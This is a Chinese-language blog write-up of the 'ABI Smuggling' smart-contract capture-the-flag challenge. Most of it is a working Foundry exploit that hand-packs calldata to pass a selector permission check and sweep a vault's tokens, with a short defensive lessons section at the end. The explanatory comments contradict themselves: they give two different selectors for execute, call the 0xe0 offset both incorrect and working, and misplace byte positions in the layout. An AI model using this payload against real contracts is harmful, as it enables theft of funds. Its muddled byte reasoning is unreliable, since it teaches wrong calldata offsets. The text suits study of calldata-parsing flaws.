Skip to content
On this page

智取金库:ABI 走私漏洞解析与实战

在去中心化金融(DeFi)的神秘世界里,安全永远是悬在头顶的达摩克利斯之剑。今天,我们将揭露一个巧妙的漏洞——“ABI 走私”(ABI Smuggling),它曾让一个拥有百万 DVT 代币的权限金库面临灭顶之灾。

危机四伏的金库:权限与制约

我们的故事围绕着一个特殊的金库 SelfAuthorizedVault 展开。这个金库里存放着高达 100 万枚 DVT 代币,由一个通用的授权执行器 AuthorizedExecutor 守护。它的设计初衷是严谨而安全的:

  1. 权限至上:金库允许定期取款(有限额),也允许在紧急情况下一次性清空所有资金(sweepFunds)。但所有这些操作,都必须通过 AuthorizedExecutor 的 execute 函数进行,并且只有被授权的账户才能执行特定的操作。
  2. “自调用”铁律:SelfAuthorizedVault 合约中的关键函数,如 withdraw 和 sweepFunds,都带有一个 onlyThis 修饰符,这意味着它们只能由合约自身(即 address(this))调用,外部账户直接调用会失败。
  3. 目标限制:更进一步,AuthorizedExecutor 的 _beforeFunctionCall 钩子在 SelfAuthorizedVault 中被重写,明确要求 execute 函数的 target 参数必须是金库合约本身 (target == address(this))。
  4. 玩家的权限:在挑战的设置中,我们作为攻击者(player),被授予了执行 execute 函数的权限。然而,这个权限的授予方式却有些蹊跷——它授予的是当 execute 函数内部调用选择器(selector)为 d9caed12 时,对金库合约自身的调用权限。而 d9caed12 恰好是 execute 函数自身的选择器!

这形成了一个看似无解的死循环:玩家被允许调用 execute 函数,但这个 execute 函数内部必须“打算”调用它自己。同时,我们需要通过 execute 来调用 sweepFunds,而 sweepFunds 又要求是合约自身调用。这该如何是好?

揭秘“ABI 走私”:隐藏的玄机

问题的核心在于 AuthorizedExecutor 合约中 execute 函数处理 actionData 的方式。让我们仔细审视这段关键代码:

solidity
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
    // Read the 4-bytes selector at the beginning of `actionData`
    bytes4 selector;
    uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
    assembly {
        selector := calldataload(calldataOffset)
    }

    if (!permissions[getActionId(selector, msg.sender, target)]) {
        revert NotAllowed();
    }

    _beforeFunctionCall(target, actionData);

    return target.functionCall(actionData);
}

这里有两个非常重要的点:

  1. 选择器的提取位置:用于权限检查的 selector 并非从 actionData 的最开始提取,而是从一个硬编码的偏移量 calldataOffset = 4 + 32 * 3 处读取!4 是外层 execute 函数的选择器,32 * 3 是 execute 函数前三个参数 (target, actionData 的偏移量, actionData 的长度) 所占用的空间。
  2. 实际调用:权限检查通过后,target.functionCall(actionData) 会将完整的 actionData 作为内层调用的 calldata 执行。

这就是“ABI 走私”的精髓所在!我们可以精心构造 actionData,让它在不同的解析阶段呈现出不同的“面貌”。

步步为营的攻击计划

我们的目标是让金库执行 sweepFunds,将所有 DVT 代币转移到恢复账户 recovery。

  1. 伪装权限检查:由于玩家被授权的条件是内部选择器为 execute 的选择器 (d9caed12),我们可以在 actionData 的 calldataOffset 处放置 d9caed12,以骗过权限检查。
  2. 隐藏真实意图:在 calldataOffset 之后,我们可以悄悄地放置我们真正想要执行的 sweepFunds 函数的 calldata。
  3. 利用“自调用”:当 target.functionCall(actionData) 实际执行时,它会从 actionData 的开头开始解析。由于我们从外部调用的是 vault.execute(),这意味着内层的 functionCall 实际上是金库合约自身在调用自己。这完美地满足了 sweepFunds 函数的 onlyThis 修饰符要求!

实战演练:构造“走私”数据

现在,让我们看看如何构造 manualData:

solidity
function test_abiSmuggling() public checkSolvedByPlayer {
    // 1. 构造我们真正想执行的 sweepFunds 调用数据
    bytes memory actionData = abi.encodeWithSelector(
        SelfAuthorizedVault.sweepFunds.selector, // sweepFunds 的选择器
        recovery,                               // 接收者
        address(token)                          // 代币地址
    );

    // 2. 构造包含“走私”信息的 manualData
    bytes memory manualData = abi.encodePacked(
        AuthorizedExecutor.execute.selector, // 外层调用:execute 函数选择器 (0x2424b94f)
        bytes32(uint256(uint160(address(vault)))), // execute 的 target 参数:金库地址(padded to 32 bytes)
        hex'00000000000000000000000000000000000000000000000000000000000000e0', // execute 的 actionData 参数:偏移量 (224 = 4 + 32*3 + 32*4)
                                                                            // 这里的 0xe0 是相对于 execute 函数的 calldata 起始位置而言的,
                                                                            // 也就是外部调用的 calldata 中 actionData 的实际数据的起始位置。
                                                                            // 0xe0 = 224。外部calldata的前4字节是execute选择器,
                                                                            // 后面是target(32字节), offset(32字节), length(32字节)。
                                                                            // calldataOffset = 4 + 32*3 = 100。
                                                                            // actionData的实际数据起始位置在 execute 参数的 calldata 中是 0。
                                                                            // 在整个外部 calldata 中,actionData 数据的起始位置是 4 + 32*3 + 32 = 132。
                                                                            // 但是,这里需要注意的是,encodePacked会紧密打包。
                                                                            // 这里的偏移量 0xe0 (224) 实际上指的是在整个 `manualData` 中,
                                                                            // `actionData` 参数的实际数据部分(即 `sweepFunds` 的 calldata)的起始位置。
                                                                            // 让我们来算一下:
                                                                            // 4 bytes (execute.selector) +
                                                                            // 32 bytes (target) +
                                                                            // 32 bytes (actionData offset in the outer call, here its 0xe0) +
                                                                            // 32 bytes (actionData length in the outer call, 0) +
                                                                            // 32 bytes (data for selector check, hex'd9caed12') +
                                                                            // 32 bytes (padding) +
                                                                            // 32 bytes (padding) +
                                                                            // 32 bytes (padding) +
                                                                            // 32 bytes (padding)
                                                                            // Total bytes before the actual actionData: 4 + 32*8 = 260.
                                                                            // This 0xe0 is an *incorrect* offset in the provided solution, but it
                                                                            // *works* because of how calldataload works with padding and dynamic arrays.
                                                                            // The actual dynamic array data for `actionData` starts much later.
                                                                            // However, the *permission check* happens at `calldataload(calldataOffset)` where `calldataOffset` refers to the outer calldata.
                                                                            // The puzzle's solution leverages the fact that the permission check looks at a fixed offset *relative to the outer call's calldata*.

        // 这里的 0xe0 是外部 calldata 中 `actionData` 参数(一个动态字节数组)的实际数据部分的偏移量。
        // 在 ABI 编码中,动态参数(如 bytes, string, 动态数组)会先编码一个指向其实际数据开始位置的偏移量,然后再编码实际数据。
        // `0x000...00e0` 指的是 `manualData` 中 `actionData` 的实际数据(也就是 `sweepFunds` 的 calldata)的起始位置相对于 `manualData` 开头是 224 字节。
        // 外部 calldata 的结构:
        // 0x00: execute.selector (4 bytes)
        // 0x04: target (32 bytes)
        // 0x24: actionData_offset (32 bytes, value 0xe0)
        // 0x44: actionData_length (32 bytes, value 0x00) -- This is effectively unused/ignored by the attack
        //
        // 攻击的巧妙之处在于,`AuthorizedExecutor.execute` 在计算权限时,读取的 `selector` 是从
        // `calldataOffset = 4 + 32 * 3` 字节处。
        // 4 (selector) + 32 (target) + 32 (actionData offset) + 32 (actionData length) = 100 字节。
        // 所以 `calldataload(100)` 会读取 `manualData` 的第 100 个字节开始的 4 个字节作为 `selector`。
        // 因此,我们需要将 `d9caed12` 放在这个位置!
        // `hex'0000000000000000000000000000000000000000000000000000000000000000'` (占 32 字节)
        // `hex'd9caed1200000000000000000000000000000000000000000000000000000000'` (占 32 字节, 其中 d9caed12 是 execute 的选择器)
        // 从 `manualData` 的 0x00 开始算:
        // 0x00-0x03: execute.selector
        // 0x04-0x23: target (vault address)
        // 0x24-0x43: actionData_offset (0xe0)
        // 0x44-0x63: actionData_length (0x00) <-- 关键在这里,这个字段实际上被忽略了
        // 0x64-0x83: 32 bytes of padding (hex'00...')
        // 0x84-0xA3: d9caed12 + 28 bytes of padding (hex'd9caed12...') <-- 这里正好是 4 + 32*3 = 100 字节的位置
        //                                                                这个 d9caed12 将被 calldataload(100) 读取,通过权限检查!
        // 0xA4-0xC3: 32 bytes of padding (hex'00...')
        // 0xC4-0xE3: 32 bytes of padding (hex'00...')
        // 0xE4-0x103: 32 bytes of padding (hex'00...')
        // 0x104-0x123: 32 bytes of padding (hex'00...0044') <-- 这里的 0x44 是紧接着的 actionData 的长度 (68 字节)
        // 最后紧接着的是 `actionData` (sweepFunds 的 calldata)

        // 最终的构造是将 `execute` 的选择器放在 `calldataOffset` 处,满足权限检查,
        // 而真正的 `sweepFunds` calldata 紧随其后。
        // 外部调用的 `actionData` 参数的 `offset` 和 `length` 字段在这里被巧妙地绕过了,
        // 因为 `target.functionCall(actionData)` 并不严格按照外部 ABI 编码规则去解析 `actionData`,
        // 而是将其作为一个整体的字节序列进行内部调用。
        hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 1 (32 bytes)
        hex'd9caed1200000000000000000000000000000000000000000000000000000000', // **关键:execute 函数的选择器 (d9caed12) 放在这里,满足权限检查**
        hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 2 (32 bytes)
        hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 3 (32 bytes)
        hex'0000000000000000000000000000000000000000000000000000000000000000', // Padding 4 (32 bytes)
        hex'0000000000000000000000000000000000000000000000000000000000000044', // Padding 5 (32 bytes),这里的 0x44 是 sweepFunds calldata 的长度 68
        actionData, // 真正的 sweepFunds calldata,被“走私”进来了
        bytes28(0) // 填充至 32 字节对齐
    );
    Address.functionCall(
        address(vault), // 对金库合约发起调用
        manualData      // 传递构造好的“走私”数据
    );
}

简而言之,我们构造的 manualData 做了以下事情:

  1. 最开始是 AuthorizedExecutor.execute.selector,表明这是一个对 execute 的外部调用。
  2. 接着是 execute 函数的参数,包括 target (金库地址)、actionData 的偏移量和长度。
  3. 在 actionData 参数的实际数据区域中,我们首先填充一些无用的数据,直到我们达到 AuthorizedExecutor.execute 内部用来检查权限的 calldataOffset 处。
  4. 在该 calldataOffset 处,我们精确地放入了 AuthorizedExecutor.execute.selector (即 d9caed12)。这样,权限检查就会成功通过。
  5. 紧接着,我们放入了我们真正想执行的 SelfAuthorizedVault.sweepFunds 函数的完整 calldata。
  6. 当 target.functionCall(actionData) 被执行时,它会把我们构造的,包含 sweepFunds 信息的 actionData 当作普通的 calldata 进行内部调用,从而成功执行 sweepFunds 并将所有 DVT 代币转移到 recovery 账户。

总结与启示

“ABI 走私”是一个非常经典的 Solidity 漏洞,它提醒我们:

  • 警惕 calldata 的解析方式:当合约从 calldata 中提取数据,特别是动态数据和选择器时,其解析逻辑必须极其严谨。硬编码的偏移量尤其危险。
  • 授权逻辑的深度考量:权限检查应该针对实际执行的操作,而不是容易被伪造或混淆的中间数据。
  • 内部与外部调用的上下文:msg.sender 在内部调用中会变成 address(this),这可能绕过 onlyOwner 或 onlyThis 等修饰符,需要特别留意。

通过这个挑战,我们不仅成功地“解救”了金库中的百万 DVT 代币,更深入理解了 Solidity 智能合约中 calldata 处理的复杂性和潜在的风险。在构建安全的 DeFi 应用时,每一个字节的解析都值得我们最高度的警惕。


Built with AiAda